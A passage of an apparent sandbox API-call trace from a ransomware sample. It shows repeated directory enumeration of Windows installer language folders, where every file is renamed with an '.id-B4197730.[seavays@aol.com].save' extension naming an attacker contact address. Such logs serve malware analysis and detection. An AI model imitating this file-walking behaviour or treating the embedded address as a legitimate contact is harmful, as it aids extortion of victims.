ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.858] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.858] FindClose (in: hFindFile=0x4262bd8 | out: hFindFile=0x4262bd8) returned 1 [0205.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.859] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1042", cAlternateFileName="")) returned 1 [0205.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.859] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262fd8 [0205.860] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.860] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82b13ae, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.860] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.861] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.861] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.861] FindClose (in: hFindFile=0x4262fd8 | out: hFindFile=0x4262fd8) returned 1 [0205.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.862] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1043", cAlternateFileName="")) returned 1 [0205.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.862] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262f98 [0205.863] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.863] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8396179, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8396179, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.864] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83bc41f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.864] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.864] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.864] FindClose (in: hFindFile=0x4262f98 | out: hFindFile=0x4262f98) returned 1 [0205.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.865] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1044", cAlternateFileName="")) returned 1 [0205.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.865] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262e18 [0205.867] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.867] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83e24ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.867] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e24ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83e24ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x88f366e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.867] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.867] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.867] FindClose (in: hFindFile=0x4262e18 | out: hFindFile=0x4262e18) returned 1 [0205.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.868] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1045", cAlternateFileName="")) returned 1 [0205.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.869] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.870] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.870] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x853d076, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.870] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.870] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.871] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.871] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.872] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1046", cAlternateFileName="")) returned 1 [0205.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.872] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262ed8 [0205.873] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.873] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x855fce7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x855fce7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.874] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x858651b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x858651b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a70cc6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.874] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.874] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.874] FindClose (in: hFindFile=0x4262ed8 | out: hFindFile=0x4262ed8) returned 1 [0205.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.875] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1049", cAlternateFileName="")) returned 1 [0205.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.875] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262c58 [0205.888] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.888] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85ac238, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.888] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85d24fd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.889] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, 